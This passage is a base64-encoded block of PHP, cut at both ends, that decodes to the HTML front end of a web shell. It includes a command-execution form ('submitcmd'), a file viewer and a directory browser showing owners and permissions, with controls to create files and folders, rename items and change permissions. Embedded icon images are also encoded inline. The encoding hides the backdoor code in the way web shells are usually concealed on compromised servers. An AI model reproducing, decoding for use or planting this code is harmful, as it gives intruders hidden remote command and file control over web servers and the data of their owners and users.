VlPScnIC8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0RvICEnIG5hbWU9J3N1Ym1pdGNtZCcgc3R5bGU9J3dpZHRoOjgwcHg7JyAvPjwvdGQ+PC90cj48L2Zvcm0+PGZvcm0gYWN0aW9uPSc/JyBtZXRob2Q9J2dldCcgc3R5bGU9J21hcmdpbjo4cHggMCAwIDA7Jz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIiAuICRwd2QgLiAiJyAvPjx0cj48dGQ+dmlldyBmaWxlL2ZvbGRlcjwvdGQ+PGNlbnRlcj48dGQ+PGlucHV0IG9uTW91c2VPdmVyPSd0aGlzLmZvY3VzKCk7JyBpZD0nZ290bycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ndmlldycgc3R5bGU9J3dpZHRoOjQwMHB4OycgdmFsdWU9JyIgLiAkcHdkIC4gIicgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndmlldyAhJyBuYW1lPSdzdWJtaXRjbWQnIHN0eWxlPSd3aWR0aDo4MHB4OycgLz48L3RkPjwvY2VudGVyPjwvdHI+PC9mb3JtPjwvdGFibGU+PHRhYmxlIGNsYXNzPSdleHBsb3JlJz4gPHRyPjx0aD5GaWxlICYgRGlyczwvdGg+PHRoIHN0eWxlPSd3aWR0aDo4MHB4Oyc+U2l6ZTwvdGg+PHRoIHN0eWxlPSd3aWR0aDoyMTBweDsnPk93bmVyOkdyb3VwPC90aD48dGggc3R5bGU9J3dpZHRoOjgwcHg7Jz5wZXJtczwvdGg+PHRoIHN0eWxlPSd3aWR0aDoxMTBweDsnPkxhc3QgTW9kaWZpZWQ8L3RoPjx0aCBzdHlsZT0nd2lkdGg6MTkwcHg7Jz5hY3Rpb25zPC90aD48L3RyPiAiOwogICAgaWYgKCR0cmVlID4gMikKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkdHJlZSAtIDI7ICRpKyspCiAgICAgICAgICAgICRwYXJlbnQgLj0gJHBhdGhbJGldIC4gRElSRUNUT1JZX1NFUEFSQVRPUjsKICAgIGVsc2UKICAgICAgICAkcGFyZW50ID0gJHB3ZDsKICAgIGZvcmVhY2ggKCRkbmFtZSBhcyAkZm9sZGVyKSB7CiAgICAgICAgaWYgKCRmb2xkZXIgPT0gIi4iKSB7CiAgICAgICAgICAgIGlmICghJHdpbiAmJiAkcG9zaXgpIHsKICAgICAgICAgICAgICAgICRuYW1lICA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsKICAgICAgICAgICAgICAgICRncm91cCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgICAgICRvd25lciA9ICRuYW1lWyduYW1lJ10gLiAiPHNwYW4gY2xhc3M9J2dheWEnPiA6IDwvc3Bhbj4iIC4gJGdyb3VwWyduYW1lJ107CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkb3duZXIgPSAkdXNlcjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYnVmZiAuPSAiPHRyPjx0ZD48YSBocmVmPVwiP3NhZD0iIC4gJHB3ZCAuICJcIj4kZm9sZGVyPC9hPjwvdGQ+PHRkPi08L3RkPgo8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iIC4gJG93bmVyIC4gIjwvdGQ+Cjx0ZD48Y2VudGVyPiIgLiBnZXRfcGVybXMoJHB3ZCkgLiAiPC9jZW50ZXI+PC90ZD4KPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+IiAuIGRhdGUoImQtTS1ZIEg6aSIsIEBmaWxlbXRpbWUoJHB3ZCkpIC4gIjwvdGQ+PHRkPjxzcGFuIGlkPVwidGl0aWsxXCI+CjxhIGhyZWY9XCI/c2FkPSRwd2QmYW1wO2VkaXQ9IiAuICRwd2QgLiAibmV3ZmlsZS5waHBcIj5uZXdmaWxlPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCd0aXRpazEnLCd0aXRpazFfZm9ybScpO1wiPm5ld2ZvbGRlcjwvYT4KPC9zcGFuPjxmb3JtIGFjdGlvbj1cIj9cIiBtZXRob2Q9XCJnZXRcIiBpZD1cInRpdGlrMV9mb3JtXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPiAKPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIiAuICRwd2QgLiAiXCIgLz4gCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MTQwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibWtkaXJcIiB2YWx1ZT1cImFfbmV3X2ZvbGRlclwiIC8+IAo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvXCIgLz4gCjwvZm9ybT48L3RkPjwvdHI+ICI7CiAgICAgICAgfSBlbHNlaWYgKCRmb2xkZXIgPT0gIi4uIikgewogICAgICAgICAgICBpZiAoISR3aW4gJiYgJHBvc2l4KSB7CiAgICAgICAgICAgICAgICAkbmFtZSAgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7CiAgICAgICAgICAgICAgICAkZ3JvdXAgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZm9sZGVyKSk7CiAgICAgICAgICAgICAgICAkb3duZXIgPSAkbmFtZVsnbmFtZSddIC4gIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iIC4gJGdyb3VwWyduYW1lJ107CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkb3duZXIgPSAkdXNlcjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYnVmZiAuPSAiPHRyPjx0ZD4KPGEgaHJlZj1cIj9zYWQ9IiAuICRwYXJlbnQgLiAiXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMWdBQURkWUJrRzk1bkFBQUFBZDBTVTFGQjlvSkJ4VUFNMHFMejZ3QUFBTExTVVJCVkRqTGJWUFJTMU5SR1ArZDNidHJzN2tabUFZWGxTWllVSzRIUVhDUkVQV1VRU1NZSUQxR0VLS3gvQWYyNWxNK0RDRkNlNGhleWdjTmRJVUVTVDA0UVc2QmpTMHl4NVVoa1c2RkV0dk9QZmM3cDRlbVhjb2ZIUGc0NTN5LzczZSs3M2NBRHl6TE9veS9iSHpSOC9sODBMYnRZRDV2NndmNzJWek9td0xtVGU3dTdvWmxXY2NiR2hwR05KOTJIUXd0dGVOdlNxbVhKT1dqTTUyZFBQTXBnL05kNS84U3BGSXA5UGYzdzdLc1M0RkE0QmxqckIxSFFDbVZjNFY3TzNvaCttRmxaUVd4V0F3c2tVZ2drVWhnZVhrNUZnNkhGNW1QbldDQUFoaFRVR0NLUVVGNWViNExJYTcyOVBSa25yOTQva2ZCd01EQXNYZzgvdEh2OTU4Rm9EeFA4OFllSlRMZDJ4dUxBWUFQQUlhR2h1NUlLYzl5enNFNVo0N2pZSFYxOVVPcFZOb1hRc0M3T09kd0hORzd0TFIwRXdEMFVDaXM2N3AyblhNT0FDaVhLNy9ldjMvM1pISnk4bkV5bVp3eURNTThxRXhFeWpUTjl2cjYrb0FRNGdhQWVmM2l4VmdkNTg0cHcrRFkzZDB0VEU5UGo2VFQ2VGZCWUpDUGo0L2ZCdUEvSUJCQytHWm1aaFpiV2xyT09ZNWpEZzhQYTNxcFZFS2xVb0hmNzBjZ0VHZ2VIUjJOUEhnUVY0T0R0OVRzN0t3RVFBQ2dhUnBTcVZkUVNyRnF0WXBxdFNwdDJ3WURZRXhNVE15M3RiVmRrMUxXcHFYZWJtMXQzVGROODZtdTY1RmFNdytzRTJLTTZUOS8vcGdhR3hzYjFRRTRhMnRycjV1YW1xNTVHbjJsK1dSeldnaWhFVkg5RVg1QUpwT1pCd0FOQUhLNVhLR2pvNk92c2JIUmRGMFhSQVFwWloyVTBrOUVpb2dZRVlHSWxKU1MyYlk5bTB3bUh3SlFXbzMwMS9iMmRpRVNpVncyakxvUUVURnlYZVdTeTRoYzVycUhKS3hZTEdibjV1YnVGb3ZGMHFFQ0FOamYzN2UvYm16a2pEcmpkQ2dVYW1VK01DSUpJZ2twaVpYTFpabk5aaGNXRmhidWJXNXVmdTdxNnNMT3pzNy9MZ1BRM3RyYTJoK05SdnZDNGZBcEFISnZiMjlyZlgxOXFWQW92QWF3ZCtSdi9BYytBTWNBR0xVSlZBQTRSMTM4RGVGK2NYK3hSL0FHQUFBQUFFbEZUa1N1UW1DQyc+ICAkZm9sZGVyPC9hPjwvdGQ+PHRkPi08L3RkPgo8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iIC4gJG93bmVyIC4gIjwvdGQ+Cjx0ZD48Y2VudGVyPiIgLiBnZXRfcGVybXMoJHBhcmVudCkgLiAiPC9jZW50ZXI+PC90ZD4gPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+IiAuIGRhdGUoImQtTS1ZIEg6aSIsIEBmaWxlbXRpbWUoJHBhcmVudCkpIC4gIjwvdGQ+Cjx0ZD48c3BhbiBpZD1cInRpdGlrMlwiPjxhIGhyZWY9XCI/c2FkPSRwd2QmYW1wO2VkaXQ9IiAuICRwYXJlbnQgLiAibmV3ZmlsZS5waHBcIj5uZXdmaWxlPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCd0aXRpazInLCd0aXRpazJfZm9ybScpO1wiPm5ld2ZvbGRlcjwvYT48L3NwYW4+IAo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIgLiAkcHdkIC4gIlwiIC8+IAo8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjE0MHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm1rZGlyXCIgdmFsdWU9XCJhX25ld19mb2xkZXJcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHb1wiIC8+IAo8L2Zvcm0+PC90ZD48L3RyPiI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCEkd2luICYmICRwb3NpeCkgewogICAgICAgICAgICAgICAgJG5hbWUgID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJGdyb3VwID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJG93bmVyID0gJG5hbWVbJ25hbWUnXSAuICI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+IiAuICRncm91cFsnbmFtZSddOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJG93bmVyID0gJHVzZXI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaWQ9XCIiIC4gY2xlYXJzcGFjZSgkZm9sZGVyKSAuICJfbGlua1wiIGhyZWY9XCI/c2FkPSIgLiAkcHdkIC4gJGZvbGRlciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAiXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBZ0FBQUFJQUNBWUFBQUQwZU5UNkFBQUFCSE5DU1ZRSUNBZ0lmQWhraUFBQUFBbHdTRmx6QUFBTjF3QUFEZGNCUWlpYmVBQUFBQmwwUlZoMFUyOW1kSGRoY21VQWQzZDNMbWx1YTNOallYQmxMbTl5WjV2dVBCb0FBQTZyU1VSQlZIaWM3ZDFOcUczblFjYnhKMTlzVXFKcEl3blVwaUVORVZvN1VJTWxibXhYYk9vSGFGVVEyaElxaEZEUmlvSkY3VUJ0clZiRlVUK294WW5ZS2pyUVZpR3g0aUFkR0hjVFZqK2lKU2hJQjVWVVk3V3B0TEZFNmlJaHg4RTVnNnNrVGEvWis3eDc3K2YzZ3pXNGNEbm40ZDdCL3ArMTkxbnZKU2NuSndFQXVsdzZlZ0FBY1A0RUFBQVVFZ0FBVUVnQUFFQWhBUUFBaFFRQUFCUVNBQUJRU0FBQVFDRUJBQUNGQkFBQUZCSUFBRkJJQUFCQUlRRUFBSVVFQUFBVUVnQUFVRWdBQUVBaEFRQUFoUVFBQUJRU0FBQlFTQUFBUUNFQkFBQ0ZCQUFBRkJJQUFGQklBQUJBSVFFQUFJVUVBQUFVRWdBQVVFZ0FBRUFoQVFBQWhRUUFBQlFTQUFCUVNBQUFRQ0VCQUFDRkJBQUFGQklBQUZCSUFBQkFJUUVBQUlVRUFBQVVFZ0FBVUVnQUFFQWhBUUFBaFFRQUFCUVNBQUJRU0FBQVFDRUJBQUNGQkFBQUZCSUFBRkJJQUFCQUlRRUFBSVVFQUFBVUVnQUFVRWdBQUVBaEFRQUFoUVFBQUJRU0FBQlFTQUFBUUNFQkFBQ0ZCQUFBRkJJQUFGQklBQUJBSVFFQUFJVUVBQUFVRWdBQVVFZ0FBRUFoQVFBQWhRUUFBQlFTQUFCUVNBQUFRQ0VCQUFDRkJBQUFGQklBQUZCSUFBQkFJUUVBQUlVRUFBQVVFZ0FBVUVnQUFFQWhBUUFBaFFRQUFCUVNBQUJRU0FBQVFDRUJBQUNGQkFBQUZCSUFBRkJJQUFCQUlRRUFBSVVFQUFBVUVnQUFVRWdBQUVBaEFRQUFoUVFBQUJRU0FBQlFTQUFBUUNFQkFBQ0ZCQUFBRkJJQUFGQklBQUJBSVFFQUFJVUVBQUFVRWdBQVVFZ0FBRUFoQVFBQWhRUUFBQlFTQUFCUVNBQUFRQ0VCQUFDRkJBQUFGTHA4OUFDZTNqSlBseWE1THNuekw3aStNY2NkYlU4bGVUekpZeGRjajY3V215ZUhyZ0k0UXBlY25KeU0za0NTWlo1dVNQTEtKTjk1ZG4xSGtxdUdqdG9QLzUza29TUVBubDN6YXIzNXpOaEpBSWRQQUF5MHpOT0xrcncreVJ1UzNEcDR6aUg1K3lSL2t1UlBWK3ZOWjBlUEFUaEVBbUNBWlo1ZW5lUlhrdHllNUpMQmN3N2RuT1MzVit2TlIwWVBBVGdrQXVBY0xmUDBtaVR2U1BLcTBWdU8wTjhsZWVkcXZibG45QkNBUXlBQXpzRXlUeTlPOG50SmZtRDBsZ0p6a3J0OFRnRGdheE1BTzdiTTAxMUozcFBrNnRGYmludzF5ZHVTdkhlMTNqdzFlZ3pBUGhJQU83TE0wL09UL0hHU0h4cTlwZGo5U2Q2d1dtOCtQM29Jd0w0UkFEdXd6Tk5Ma3Z4VmtwZU8za0llU2ZMYTFYcnowT2doQVB2a21COHFNOFF5VDdjbStYaTgrTytMNjVQY3Y4eVRPekVBRnhBQVc3VE0wKzFKL2pxblQvQmpmMXlWNUo1bG50NDRlZ2pBdnZBV3dKWXM4M1JMa3Z1U2ZNUGdLVHl6SjNMNmRzQzlvNGNBakNZQXRtQ1pwNXVUUEJBLytSK0N4NU84ZXJYZVBEaDZDTUJJQXVBNU92dTAvOThtdVduMEZyNXVqeWE1WmJYZS9Pdm9JUUNqK0F6QWMvZTc4ZUovYUs1TDhzRmxuanlHR2FqbE9PRG5ZSm1uTzVMY3NhTXYvK2trSDAzU2ZJdm1taVN2eStsUnlOdjJmVWwrSnNuN2QvQzFBZmFldHdBdXdqSlBseVc1NHV5UEw4enA4K2UzL2VMMHlTUS91MXB2UHJYbHIzdVFsbm02TXNrYmMzcW41WXBuK2VzWDY2dEpYcEhFaVlKd3ZFNVc2ODB5ZXNRK0VnQlBZNW1ubTVLOE1xZUg5cncweWJWbjF3dXkyOVA3dnBUazIxZnJ6Yi9zOEhzY3BHV2VmajdKdTBidkFBN1NFMG4rSThrWGszd2hweis4M1ova2dkVjY4K1dSdzBZU0FHZVdlYm9teVU4bGVYT1NHd2JOK0JISDJqNnpaWjQra3VTMW8zY0FSK01rcHdlSXZTL0puNi9XbXljSDd6bFg5UUd3ek5PMVNYNDl5WjFKbmpkd3lsK3UxcHNmSHZqOTk5N1pxWXFmeTI3dndnQ2RIa255N2lTLzB4SUMxYjhGc016VGp5ZjV4eVEvbmJFdi9rbnlvY0hmZisrZHZUVXlqOTRCSEtYcmN4b0FuMWptNmR0R2p6a1BsUUd3ek5PVnl6emRuZVNQa256VDZEMUpsaVIvTVhyRWdmanc2QUhBVWJzbHlhZVdlZnE1MFVOMnJTNEFsbm02S3FjbjlmM282QzBYdUhlMTN2em42QkVINHMvUy9hdVJ3TzVka2VTOXl6eTliZlNRWGFvS2dHV2VWa251VGZJOWc2ZjhYeDhiUGVCUXJOYWJSNUk4UEhvSFVPRTNsbm42MWRFamRxVXFBSEw2WWIvMTZCRlB3eU5wTDg2L2pSNEExSGpITWsvVDZCRzdVQk1BeXp6ZG11UVhSKzk0QnA4ZlBlREFDQURndkZ5YTVBL08zajQrS2pVQmtOT0h5RncyZXNRemNBZmc0Z2dBNER5OUpNbGJSby9ZdG9vQVdPYnBaVW0rZS9TT3I4RWRnSXNqQUlEejlxWmpPMENzSWdDU3ZHbjBnR2V4cjNjbTlwVi9MK0M4M1pqa05hTkhiRk5MQU53MmVzQ3plTkhvQVFmbWhhTUhBSlZlTlhyQU5yVUV3RTJqQnp5TGJ4NDk0TUFJQUdDRUcwY1AyS2FqRDRCbG5xN082Ym55Kzh3ZGdJc2pBSUFSYmh3OVlKdU9QZ0J5ZW9UdnZoTUFGOGNkRTJDRXEwY1AyS2FHQURnRTN6dDZ3S0ZZNXVsYmtyeDQ5QTZBUXljQTlzTnR5enhkTjNyRWdYamQ2QUVBeDBBQTdJZkxrdnpZNkJFSDR2V2pCd0FjQXdHd1ArNFlQV0RmblQzUXFlS2Nib0JkRXdEN1kxcm02U2RHajloWHl6eGRudVFEbzNjQUhBc0JzRi9ldDh6VHkwZVAyRk8vbGVTN1JvOEFPQmFYang3QS8zSmxrcnVYZWZybEpIZXYxcHNuUmc4YWJabW42NU84T2NsYlIyOEJPQ1lDWVAvY25PUkRTUjVkNXVtK0pDZGo1d3gxVFpMYjQ5bi9BRnNuQVBiWGRmR0pkd0IyeEdjQUFLQ1FBQUNBUWdJQUFBb0pBQUFvSkFBQW9KQUFBSUJDQWdBQUNna0FBQ2drQUFDZ2tBQUFnRUlDQUFBS0NRQUFLQ1FBQUtDUUFBQ0FRZ0lBQUFvSkFBQW9KQUFBb0pBQUFJQkNBZ0FBQ2drQUFDZ2tBQUNna0FBQWdFSUNBQUFLQ1FBQUtDUUFBS0NRQUFDQVFnSUFBQW9KQUFBb0pBQUFvSkFBQUlCQ0FnQUFDZ2tBQUNna0FBQ2drQUFBZ0VJQ0FBQUtDUUFBS0NRQUFLQ1FBQUNBUWdJQUFBb0pBQUFvSkFBQW9KQUFBSUJDQWdBQUNna0FBQ2drQUFDZ2tBQUFnRUlDQUFBS0NRQUFLQ1FBQUtDUUFBQ0FRZ0lBQUFvSkFBQW9KQUFBb0pBQUFJQkNBZ0FBQ2drQUFDZ2tBQUNna0FBQWdFSUNBQUFLQ1FBQUtDUUFBS0NRQUFDQVFnSUFBQW9KQUFBb0pBQUFvSkFBQUlCQ0FnQUFDZ2tBQUNna0FBQ2drQUFBZ0VJQ0FBQUtDUUFBS0NRQUFLQ1FBQUNBUWdJQUFBb0pBQUFvSkFBQW9KQUFBSUJDQWdBQUNna0FBQ2drQUFDZ2tBQUFnRUlDQUFBS0NRQUFLQ1FBQUtDUUFBQ0FRZ0lBQUFvSkFBQW9KQUFBb0pBQUFJQkNBZ0FBQ2drQUFDZ2tBQUNna0FBQWdFSUNBQUFLQ1FBQUtDUUFBS0NRQUFDQVFnSUFBQW9KQUFBb0pBQUFvSkFBQUlCQ0FnQUFDZ2tBQUNna0FBQ2drQUFBZ0VJQ0FBQUtDUUFBS0NRQUFLQ1FBQUNBUWdJQUFBb0pBQUFvSkFBQW9KQUFBSUJDQWdBQUNna0FBQ2drQUFDZ2tBQUFnRUlDQUFBS0NRQUFLQ1FBQUtDUUFBQ0FRZ0lBQUFvSkFBQW9KQUFBb0pBQUFJQkNBZ0FBQ2drQUFDZ2tBQUNna0FBQWdFSUNBQUFLQ1FBQUtDUUFBS0NRQUFDQVFnSUFBQW9KQUFBb0pBQUFvSkFBQUlCQ0FnQUFDZ2tBQUNna0FBQ2drQUFBZ0VJQ0FBQUtDUUFBS0NRQUFLQ1FBQUNBUWdJQUFBb0pBQUFvSkFBQW9KQUFBSUJDQWdBQUNna0FBQ2drQUFDZ2tBQUFnRUlDQUFBS0NRQUFLQ1FBQUtDUUFBQ0FRZ0lBQUFvSkFBQW9KQUFBb0pBQUFJQkNBZ0FBQ2drQUFDZ2tBQUNna0FBQWdFSUNBQUFLQ1FBQUtDUUFBS0NRQUFDQVFnSUFBQW9KQUFBb0pBQUFvSkFBQUlCQ0FnQUFDZ2tBQUNna0FBQ2drQUFBZ0VJQ0FBQUtDUUFBS0NRQUFLQ1FBQUNBUWdJQUFBb0pBQUFvSkFBQW9KQUFBSUJDQWdBQUNna0FBQ2drQUFDZ2tBQUFnRUlDQUFBS0NRQUFLQ1FBQUtDUUFBQ0FRZ0lBQUFvSkFBQW9KQUFBb0pBQUFJQkNBZ0FBQ2drQUFDZ2tBQUNna0FBQWdFSUNBQUFLQ1FBQUtDUUFBS0NRQUFDQVFnSUFBQW9KQUFBb0pBQUFvSkFBQUlCQ0FnQUFDZ2tBQUNna0FBQ2drQUFBZ0VJQ0FBQUtDUUFBS0NRQUFLQ1FBQUNBUWdJQUFBb0pBQUFvSkFBQW9KQUFBSUJDQWdBQUNna0FBQ2drQUFDZ2tBQUFnRUlDQUFBS0NRQUFLQ1FBQUtDUUFBQ0FRZ0lBQUFvSkFBQW9KQUFBb0pBQUFJQkNBZ0FBQ2drQUFDalVFQUNQalI0QXdGSDR5dWdCMjNUMEFiQmFieDVMOHVYUk93QTRlQStQSHJCTlJ4OEFaLzVwOUFBQUR0N0Rvd2RzVTBzQWZHejBBQUFPM2dPakIyeFRTd0Q4L3VnQkFCeTBmMDd5MGRFanRxa2lBRmJyelQ4aytjVG9IUUFjckErdTFwdW5Sby9ZcG9vQU9QTUxTWTdxUHcrQWMvRzVKTzhlUFdMYmFnSmd0ZDQ4a09SZG8zY0FjRkJPa3R5NVdtK082bGNBazZJQU9QUDJKUFBvRVFBY2pGOWJyVGQvTTNyRUxsUUZ3R3E5V1pKOGY1TDdCazhCWVArOWZiWGV2SFAwaUYycENvQWtXYTAzanlmNXdTVDNqTjRDd0Y1Nk1zbGJWdXZOYjQ0ZXNrdVhuSnljak40d3pESlBkeVo1VDVJWGpONEN3RjU0S01sZHEvWG0wNk9IN0ZyZEhZQUxyZGFiUDB6eXJVaytrR1FaUEFlQWNmNDl5UzhsZVVYRGkzOVNmZ2ZnUXNzOFhadmtKOCt1R3diUEFXRDNUcEo4UE1uN2szeDR0ZDQ4TVhqUHVSSUFUMk9acDV1VDNIWjJ2U3pKdFdmWDgwYnVBdUQvNVNTbko4TitNY2tYa2p5WVpKTmtzMXB2dmpSeTJFZ0M0Q0lzODNSbGt0WG9IUUI4M1U2Uy9OZHF2WGx5OUpCOUl3QUFvRkQxaHdBQm9KVUFBSUJDQWdBQUNna0FBQ2drQUFDZ2tBQUFnRUlDQUFBS0NRQUFLQ1FBQUtDUUFBQ0FRZ0lBQUFvSkFBQW9KQUFBb0pBQUFJQkNBZ0FBQ2drQUFDZ2tBQUNna0FBQWdFSUNBQUFLQ1FBQUtDUUFBS0NRQUFDQVFnSUFBQW9KQUFBb0pBQUFvSkFBQUlCQ0FnQUFDZ2tBQUNna0FBQ2drQUFBZ0VJQ0FBQUtDUUFBS0NRQUFLQ1FBQUNBUWdJQUFBb0pBQUFvSkFBQW9KQUFBSUJDQWdBQUNna0FBQ2drQUFDZ2tBQUFnRUlDQUFBS0NRQUFLQ1FBQUtDUUFBQ0FRZ0lBQUFvSkFBQW9KQUFBb0pBQUFJQkNBZ0FBQ2drQUFDZ2tBQUNna0FBQWdFSUNBQUFLQ1FBQUtDUUFBS0NRQUFDQVFnSUFBQW9KQUFBb0pBQUFvSkFBQUlCQ0FnQUFDZ2tBQUNna0FBQ2drQUFBZ0VJQ0FBQUtDUUFBS0NRQUFLQ1FBQUNBUWdJQUFBb0pBQUFvSkFBQW9KQUFBSUJDQWdBQUNna0FBQ2drQUFDZ2tBQUFnRUlDQUFBS0NRQUFLQ1FBQUtDUUFBQ0FRZ0lBQUFvSkFBQW9KQUFBb0pBQUFJQkNBZ0FBQ2drQUFDZ2tBQUNna0FBQWdFSUNBQUFLQ1FBQUtDUUFBS0NRQUFDQVFnSUFBQW9KQUFBb0pBQUFvSkFBQUlCQ0FnQUFDZ2tBQUNna0FBQ2drQUFBZ0VJQ0FBQUtDUUFBS0NRQUFLQ1FBQUNBUWdJQUFBb0pBQUFvSkFBQW9KQUFBSUJDL3dPcHdaUmt5RExQN3dBQUFBQkpSVTVFcmtKZ2dnPT0nIHdpZHRoPTIwcHgvPiAgIi4iPGZvbnQgc3R5bGU9J2NvbG9yOnJlZDt0ZXh0LXNoYWRvdzpub25lOyc+WzwvZm9udD4iLiIgJGZvbGRlciIuICIgPGZvbnQgc3R5bGU9J2NvbG9yOnJlZDt0ZXh0LXNoYWRvdzpub25lOyc+XTwvZm9udD48L2E+Ii4iCjxmb3JtIGFjdGlvbj1cIj9zYWQ9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIgLiBjbGVhcnNwYWNlKCRmb2xkZXIpIC4gIl9mb3JtXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPiAKPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIiAuICRmb2xkZXIgLiAiXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4gCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIiAuICRmb2xkZXIgLiAiXCIgLz4gCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVcIiAvPiAKPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjYW5jZWxcIiB2YWx1ZT1cImNhbmNlbFwiIG9uY2xpY2s9XCJ0dWthcignIiAuIGNsZWFyc3BhY2UoJGZvbGRlcikgLiAiX2Zvcm0nLCciIC4gY2xlYXJzcGFjZSgkZm9sZGVyKSAuICJfbGluaycpO1wiIC8+CjwvZm9ybT4gPC90ZD48dGQ+RElSPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iIC4gJG93bmVyIC4gIjwvdGQ+PHRkPjxjZW50ZXI+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciIC4gY2xlYXJzcGFjZSgkZm9sZGVyKSAuICJfbGluaycsJyIgLiBjbGVhcnNwYWNlKCRmb2xkZXIpIC4gIl9mb3JtMycpO1wiPiIgLiBnZXRfcGVybXMoJHB3ZCAuICRmb2xkZXIpIC4gIjwvYT4KPGZvcm0gYWN0aW9uPVwiP3NhZD0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIiAuIGNsZWFyc3BhY2UoJGZvbGRlcikgLiAiX2Zvcm0zXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPiAKPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIiAuICRmb2xkZXIgLiAiXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4gCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3dmFsdWVcIiB2YWx1ZT1cIiIgLiBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHB3ZCAuICRmb2xkZXIpKSwgLTQpIC